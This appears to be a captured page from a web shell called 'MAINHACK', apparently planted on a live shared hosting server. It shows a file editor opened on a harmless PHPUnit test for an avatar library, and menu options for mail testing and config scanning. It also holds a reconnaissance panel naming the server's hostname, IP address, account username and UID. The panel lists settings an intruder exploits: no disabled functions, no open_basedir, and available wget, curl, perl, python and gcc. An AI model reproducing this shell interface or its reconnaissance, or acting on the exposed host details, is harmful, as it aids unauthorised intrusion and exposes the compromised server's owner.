[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ParameterTest.php
<?php use LasseRafn\InitialAvatarGenerator\InitialAvatar; use PHPUnit\Framework\TestCase; class ParameterTest extends TestCase { /** @test */ public function can_set_background_color() { $avatar = new InitialAvatar(); $avatar->background('#000'); $this->assertEquals('#000', $avatar->getBackgroundColor()); $avatar->background('#fff'); $this->assertEquals('#fff', $avatar->getBackgroundColor()); } /** @test */ public function can_set_font_color() { $avatar = new InitialAvatar(); $avatar->color('#000'); $this->assertEquals('#000', $avatar->getColor()); $avatar->color('#fff'); $this->assertEquals('#fff', $avatar->getColor()); } /** @test */ public function can_set_font_size() { $avatar = new InitialAvatar(); $avatar->fontSize(0.3); $this->assertEquals(0.3, $avatar->getFontSize()); $avatar->fontSize(0.7); $this->assertEquals(0.7, $avatar->getFontSize()); } /** @test */ public function can_set_font() { $avatar = new InitialAvatar(); $avatar->font('/fonts/OpenSans-Semibold.ttf'); $this->assertEquals('/fonts/OpenSans-Semibold.ttf', $avatar->getFontFile()); } /** @test */ public function can_set_rounded() { $avatar = new InitialAvatar(); $avatar->rounded(); $this->assertTrue($avatar->getRounded()); $avatar->rounded(false); $this->assertNotTrue($avatar->getRounded()); } /** @test */ public function can_set_smooth() { $avatar = new InitialAvatar(); $avatar->smooth(); $this->assertTrue($avatar->getSmooth()); $avatar->smooth(false); $this->assertNotTrue($avatar->getSmooth()); } /** @test */ public function can_set_auto_font() { $avatar = new InitialAvatar(); $avatar->autoFont(); $this->assertTrue($avatar->getAutoFont()); $avatar->autoFont(false); $this->assertNotTrue($avatar->getAutoFont()); } /** @test */ public function can_set_auto_color() { $avatar = new InitialAvatar(); $avatar->autoColor(); $this->assertEquals('#eaf042', $avatar->getBackgroundColor()); $this->assertEquals('#000000', $avatar->getColor()); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285